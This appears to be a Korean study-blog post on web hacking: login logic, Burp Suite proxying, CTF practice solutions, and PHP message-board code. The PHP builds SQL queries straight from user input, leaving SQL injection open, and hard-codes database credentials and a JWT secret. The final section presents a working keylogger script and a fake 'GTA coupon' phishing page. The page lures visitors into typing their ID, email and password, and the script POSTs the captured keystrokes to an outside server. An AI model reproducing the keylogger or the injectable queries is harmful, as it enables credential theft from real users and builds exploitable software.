[ Proxy ] preparing for web hack..

d4r6j·2025년 6월 2일

hack

목록 보기
1/11
post-thumbnail

review

identify / authenticate

  • 식별 : 수 많은 데이터에서 특정한 데이터를 찾아 내는 것.
  • 인증 : 그 사람이 맞는지, 틀리는지 확인하는 작업.

1. 식별과 인증을 동시에 하는 case.

DB 질의를 한번에 수행해서 로그인을 구현.

  // pseudo code
  $sql = "select * from member where"
  $sql .= "id='$user_id' and pass='$user_pass"
  • 첫 번째 select 구문에 where 를 사용하는데, id 와 pass 조건을 한번에 SQL 문에 넣는다.
  • 식별 ( id 도 사용자가 입력 ) 과 인증 ( pass 도 사용자가 입력 ) 비교를 동시에 사용하게 된다.
  • 이 두 가지의 데이터가 한 번에 일치하는 데이터가 존재하면 성공.
  $ret = $sql.execute();
  if ($ret) {
      // login success
  } else {
      // login falure
  }
  • 결과가 존재하면 로그인 성공, 그렇지 않으면 로그인 실패.
  $sql = "SELECT * FROM member WHERE id = '$userName' AND pw = '$userPass'";

2. 식별과 인증을 분리하는 case. ( 식별 / 인증 ) 동시

  • DB 에서 데이터를 가져오고,
  // pseudo code
  $sql = "select * from member where id='$user_id' "

그 데이터에 있는 비밀번호와 사용자가 입력한 비밀번호를 비교해서

$db_pass = $sql.execute()
  • 식별 ( id 도 사용자가 입력 ) 과 인증 ( pass 도 사용자가 입력 ) 을 분리해서 개발하는 경우
  $ret = $sql.execute();
  if ($ret) {
      // login success
  } else {
      // login falure
  }

3. with HASH 로 비밀번호를 처리하는 경우.

위의 1, 2 번의 plain text 를 hash 로 db 에 저장하고, 로긴 시에 hash 로 변환해서 hash 값 비교하는 로직.

  • cookie : 웹 서버로 요청을 보낼 때, 붙이는 post-it.
  • session : 서버에 저장되는 연결 정보.
    • 웹 서버의 세션은 서버 측에 저장되는 정보.
    • 인증 이나 인가는 세션 정보로 구현할 것.
  • session ID : 서버 측에 여러 가지 데이터들이 저장되어 있는데, 그 세션이 누구 것인지 식별하기 위한 값.
    • 세션 ID 는 쿠키에 담겨져서 왔다갔다 한다.

Burp Suite

Web Proxy Tool ( Proxy 는 중간자가 된다. )

→ 웹 서버로 오고가는 요청 패킷을 대신 전달해 주는 프로그램.

  • Proxy 가 가장 중요하다.

    Proxy listeners ( 듣는 친구 )

    local 도 있지만, 내부 (private) 네트워크로 간주한다. 어짜피…

  • client 는 web 서버에 직접 보내는 것이 아닌 Burp Suite 으로 보낸다.

  • web 서버 또한 전달 받아서 Burp Suit 을 통해서 client 에게 준다.

물론 현재 127.0.0.1 이라던가, localhost 로 설정해서 전부 private 안에 있다고 보면 된다.

mobile app hack

  • 핸드폰에 앱을 설치 후 통신하는 데이터를 볼 수 있게 한다.
  • 나의 BurpSuit 으로 핸드폰의 패킷을 가로챌 수 있게 셋팅한다. ( all interface )
    • 다른 컴퓨터에서 나의 BurpSuit 으로 연결 하기 위해서.

  • BurpSuit 을 통해서 데이터를 중간에서 볼 수 있다.
  • 중간에서 데이터를 고쳐서 web server 에 보낼 수 있다.
  • 다른 컴퓨터의 웹 요청을 나의 proxy server 에 거쳐가게 만들고 싶다.
  • 당연히 누구나 보내면 부하도 걸리고 하니, 필요한 주소만 보낼 수 있게 설정도 가능.
  • 백신 우회를 할 때에도 이런 개념과 기능을 알아야 한다.

mobile app hack flow

  1. 핸드폰에 해킹 프로그램 (앱) 을 설치.
  2. 이 앱이 통신을 할 때, 어떤 요청과 어떤 응답을 받는지 궁금하다.
  3. proxy 를 이용하면 해결 가능. 핸드폰에서 proxy 설정을 할 수 있다.

conclusion

같은 네트워크 상에서 클라이언트 측에서 내 proxy server 로 요청 보내게 설정이 되면, 클라이언트 패킷의 제어권은 나한테 있다. LTE 에서는 불가능하다. 그래서 다른 망 ( 예 : VPN 터널 ) 을 이용해서 가능하다.

burp suit training

Intercept

data=xxxxxx 으로 해결.

History

  • login 과정을 분석 하고 싶다면 정상적으로 login 을 해본다.
  • history 를 하나하나 뜯어보면서 분석한다.

Repeater

POST /repeater.php HTTP/1.1
Host: ctf.segfaulthub.com:1018
Content-Length: 15
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Origin: http://ctf.segfaulthub.com:1018
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.segfaulthub.com:1018/repeater.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

data=data+%3A+1
  • 1 ~ 50 까지 반복적으로 req 수행.

  • 그 중 하나 답에 걸리겠지.

CTF

  • 모의 해킹할 때 이런 식으로 히스토리를 기반으로 해서 패킷을 분석.

1. Burp Suite Prac 1

아래 페이지에서 flag를 찾아보세요.

<!-- header User-Agent 에 segfaultDevice 라고 넣어서 보내보세요. -->
  • HTTP (Hypertext Transfer Protocol) Protocol
    web server 에서 데이터 자료를 요청하고, 응답 받는 약속.

  • Status code
    200 : OK
    300 : redirect ( location 이 존재 )
    400 : client error ( 이용자 잘못 : 404 Not Found : 없는 자료 요청했을 때.)
    500 : server error ( 서버 잘못 : 웹 개발시 500 server internal error )

  • User-Agent
    어떤 browser 로 접속 했는가를 알려주는 것.

Congrat!!!<!-- segfault{xxxxxxxx} -->

2. Burp Suite Prac 2

아래 사이트에서 flag를 찾아보세요!

  • a.html, b.html 의 대용량 파일을 비교.

segfault{xxxxxxx} 가 보인다.

3. Burp Suite Prac 3

아래 페이지에서 flag를 찾으세요! Hint : 1 ~ 20

Press F5

anser=1 이 보인다.

  • answer 의 값이 변하게 하기 위해서 위치를 잡고 1 ~ 20 까지 설정한다.

segfault{xxxxxxxxx}

4. Burp Suite Prac 4

  • You are Not Admin 인데 level 이 user 이다.
  • Admin 을 base64 로 encoding 하여 level 에 넣어보자.
  • “=” : %3D , “admin” : YWRtaW4=

  • 계속 decode..

segfault{xxxxxxxxxx}

Implement the board

1. INSERT

예시 : 회원 가입 기능.

  • 글 제목.
  • 글 내용 (본문 : content).
  • 글 작성 버튼, 누가 작성 했는지 시간.
  • Schema

    CREATE TABLE board (
       id INT AUTO_INCREMENT PRIMARY KEY,
       title VARCHAR(255) NOT NULL,
       content TEXT NOT NULL,
       author VARCHAR(50) NOT NULL,
       created_at DATETIME DEFAULT CURRENT_TIMESTAMP
    );

code

// write_proc.php

<?php
// session_start(); // JWT 사용하므로 세션 사용 안함

// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;

// check jwt token
$key = "d4r6j_jwt";
$user_id = null;

if(isset($_COOKIE['token'])) {
    try {
        // decode jwt token verification and get user_id
        $decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
        $user_id = $decoded->user_id;
    } catch(Exception $e) {
        header("Location: login.php");
        exit();
    }
} else {
    header("Location: login.php");
    exit();
}

// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');

// connect to database
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// check connection
if (!$db_conn) {
    die("DB Connect Failed: " . mysqli_connect_error());
}

// get title, content, author
$title = $_POST['title'];
$content = $_POST['content'];
$author = $user_id;

// save post
$sql = "INSERT INTO board (title, content, author, created_at) VALUES ('$title', '$content', '$author', NOW())";

if (mysqli_query($db_conn, $sql)) {
    header("Location: board.php");
} else {
    echo "Error: " . $sql . "<br>" . mysqli_error($db_conn);
}

// close database connection
mysqli_close($db_conn);
?> 

2. SELECT

게시판 글 리스트 보기 :

  • board data 를 가져와서 화면에 제목과 이름만 뿌려줌.
  • paging 처리 ( 예시 limit : 5 )

code

<?php

// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;

// check jwt token
$key = "d4r6j_jwt";
$user_id = null;

if(isset($_COOKIE['token'])) {
    try {
        // decode jwt token verification and get user_id
        $decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
        $user_id = $decoded->user_id;
    } catch(Exception $e) {
        header("Location: login.php");
        exit();
    }
} else {
    header("Location: login.php");
    exit();
}

// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');

// connect to database
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// check connection
if (!$db_conn) {
    die("DB Connect Failed: " . mysqli_connect_error());
}

// paging
$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$limit = 5;
$offset = ($page - 1) * $limit;

// get total number of posts
$total_sql = "SELECT COUNT(*) as count FROM board";
$total_result = mysqli_query($db_conn, $total_sql);
$total_row = mysqli_fetch_assoc($total_result);
$total_pages = ceil($total_row['count'] / $limit);

// get posts
// 1. get columns to order by created_at DESC
$sql = "SELECT id, title, author, created_at FROM board ORDER BY created_at DESC LIMIT ? OFFSET ?";

// 2. prepare statement (?) 
$stmt = mysqli_prepare($db_conn, $sql);

// 3. bind parameters
// ii : integer. first i is limit (몇 개 가져올지), second i is offset (몇 번째 게시글부터 가져올지)
mysqli_stmt_bind_param($stmt, "ii", $limit, $offset);

// 4. execute statement
mysqli_stmt_execute($stmt);

// 5. get result
$result = mysqli_stmt_get_result($stmt);

// close database connection
mysqli_close($db_conn);
?>

3. SELECT

게시판 글 내용 읽기

  • 게시판 게시글 클릭 ( 예시 : 9 번 글 )
  • DB 에서 9 번글을 가져와서 화면에 내용 채워놓고, 출력.

code

<?php

// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;

// check jwt token
$key = "d4r6j_jwt";
$user_id = null;

if(isset($_COOKIE['token'])) {
    try {
        // decode jwt token verification and get user_id
        $decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
        $user_id = $decoded->user_id;
    } catch(Exception $e) {
        header("Location: login.php");
        exit();
    }
} else {
    header("Location: login.php");
    exit();
}

// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');

// connect to database
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// check connection
if (!$db_conn) {
    die("DB Connect Failed: " . mysqli_connect_error());
}

$post_id = $_GET['id'];
$sql = "SELECT * FROM board WHERE id = '$post_id'";
$result = mysqli_query($db_conn, $sql);
$post = mysqli_fetch_assoc($result);

if (!$post) {
    header("Location: board.php");
    exit();
}

// close database connection
mysqli_close($db_conn);
?>

4. UPDATE : My-Page

게시판 글 수정

  • 정보 수정 기능
<?php

// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;

// check jwt token
$key = "d4r6j_jwt";
$user_id = null;

if(isset($_COOKIE['token'])) {
    try {
        // decode jwt token verification and get user_id
        $decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
        $user_id = $decoded->user_id;
    } catch(Exception $e) {
        header("Location: login.php");
        exit();
    }
} else {
    header("Location: login.php");
    exit();
}

// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');

// connect to database
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// check connection
if (!$db_conn) {
    die("DB Connect Failed: " . mysqli_connect_error());
}

$post_id = $_POST['id'];
$title = $_POST['title'];
$content = $_POST['content'];

// check author and update
$sql = "UPDATE board SET title = '$title', content = '$content' 
        WHERE id = '$post_id' AND author = '$user_id'";

if (mysqli_query($db_conn, $sql)) {
    header("Location: view.php?id=" . $post_id);
} else {
    echo "Error updating post: " . mysqli_error($db_conn);
}

// close database connection
mysqli_close($db_conn);
?> 

5. DELETE

게시판 글 삭제

<?php

// jwt token verification
require_once 'vendor/autoload.php';
use \Firebase\JWT\JWT;
use \Firebase\JWT\Key;

// check jwt token
$key = "d4r6j_jwt";
$user_id = null;

if(isset($_COOKIE['token'])) {
    try {
        // decode jwt token verification and get user_id
        $decoded = JWT::decode($_COOKIE['token'], new Key($key, 'HS256'));
        $user_id = $decoded->user_id;
    } catch(Exception $e) {
        header("Location: login.php");
        exit();
    }
} else {
    header("Location: login.php");
    exit();
}

// connect to database
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'student1234');
define('DB_NAME', 'test');

$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

if (!$db_conn) {
    die("DB Connect Failed: " . mysqli_connect_error());
}

// get post id
$post_id =  $_GET['id'];

// check author
$check_sql = "SELECT author FROM board WHERE id = '$post_id'";
$result = mysqli_query($db_conn, $check_sql);
$row = mysqli_fetch_assoc($result);

if ($row && $row['author'] === $user_id) {
    // delete post
    $delete_sql = "DELETE FROM board WHERE id = '$post_id'";
    if (mysqli_query($db_conn, $delete_sql)) {
        header("Location: board.php");
    } else {
        echo "Error deleting post: " . mysqli_error($db_conn);
    }
} else {
    echo "don't have permission to delete";
}

// close database connection
mysqli_close($db_conn);

?> 

  • 게시판 paging : LIMIT.

    select * from board limit 0, 10
    LIMIT [index], [count]
  • 게시글 제목 검색

    SELECT * FROM board WHERE title = 'test'
    SELECT * FROM board WHERE title like '%d4r6j%'
      - $d4r6j : 맨 뒤 글자가 d4r6j
      - d4r6j$ : 맨 앞 글자가 d4r6j
  • 게시글 정렬

    SELECT * FROM board ORDER BY [column 이름] [asc/desc]
      - asc : 오름차순, desc : 내림차순

keylogger

design

일단 가장 쉽게 key 입력이 되면 서버로 쏘게 만들었다.

GTA coupon

GTA 쿠폰으로 낚자.

  • GTA 쿠폰
    • 당연히 js 라던가 그런 파일들이 이렇게 들어가면 안될 꺼고..
    • button 의 기능이라던가.. 좀 더 있어보이게 꾸며야 할꺼지만..
<html>
  <head>
    <script src="./public/keylogger.js"></script>
    <style>
      .gta-coupon {
        border: 2px solid #ffcc00;
        background-color: #333;
        color: #fff;
        padding: 20px;
        font-family: 'Arial', sans-serif;
        text-align: center;
        margin: 20px;
        border-radius: 10px;
      }
    </style>
  </head>
  <body>
    <div class="gta-coupon">
      <img src="image/title.png" style="display: block; margin: 0 auto; width: 30%;" />
      <h2>GTA 게임 쿠폰 소식</h2>
      <h3><input name="id" type="text" placeholder="아이디" oninput="sendData()" /></h3>
      <h3><input name="email" type="text" placeholder="이메일" oninput="sendData()" /></h3>
      <h3><input name="pw" type="text" placeholder="비밀번호" oninput="sendData()" /></h3>
      <script>
        function BtnClick(){
          console.log('origin Click')
        }
      </script>
      <button onclick="BtnClick()">소식 받기</button>
    </div>
  </body>
</html>

js code

  • 일단 모든 키 이벤트가 튈 때마다 받게 만들게 되었..
let keyData = '';

function setData () {
  const body = {
    "keyData" : keyData,
  }
  return body;
}

function sendData () {
  // 전송할 데이터는 setData에서 받아온다.
  const data =setData()
  
  // 데이터를 전송할 것이기 때문에 keyData는 초기화 하고 처음부터 받는다.
  keyData = ''  
	
    // 서버로 데이터 전송
  fetch("http://xxx.xxx.xxx.xxx:4663", {
    method: "POST",
    body: JSON.stringify(data)
  })
  .then((response) => response.json())
}

function keylogging(e) {
	
  // 입력받은 키가 Tab 혹은 Enter라면 데이터를 서버로 전송
  if(e.code === 'Tab' || e.code === 'Enter') {
    sendData()
  } else {
  // Tab Enter가 아니라면 keyData에 입력받은 키를 이어붙인다.
    keyData += e.key
  }
}

// 모든 키보드가 눌리게 되면 keylogging  함수를 실행한다.
window.onkeydown = (e) => keylogging(e)

keyData1 로 잘 들어오게된다. 서버 단 열고 HTTP packet 으로 검증하였다.

0개의 댓글